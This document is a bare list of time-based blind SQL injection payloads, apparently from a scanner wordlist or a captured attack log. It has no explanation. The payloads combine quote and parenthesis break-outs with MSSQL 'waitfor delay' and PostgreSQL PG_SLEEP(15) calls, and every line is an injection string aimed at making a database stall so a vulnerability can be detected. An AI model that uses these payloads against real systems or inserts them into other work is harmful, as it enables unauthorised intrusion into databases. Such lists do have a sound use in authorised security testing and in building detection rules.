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-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

-1)); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

4dVRrH6t'; waitfor delay '0:0:15' --

6XHnnVGM'); waitfor delay '0:0:15' --

EfBwSyLO')); waitfor delay '0:0:15' --

-5 OR 625=(SELECT 625 FROM PG_SLEEP(15))--

-5) OR 244=(SELECT 244 FROM PG_SLEEP(15))--

-1)) OR 659=(SELECT 659 FROM PG_SLEEP(15))--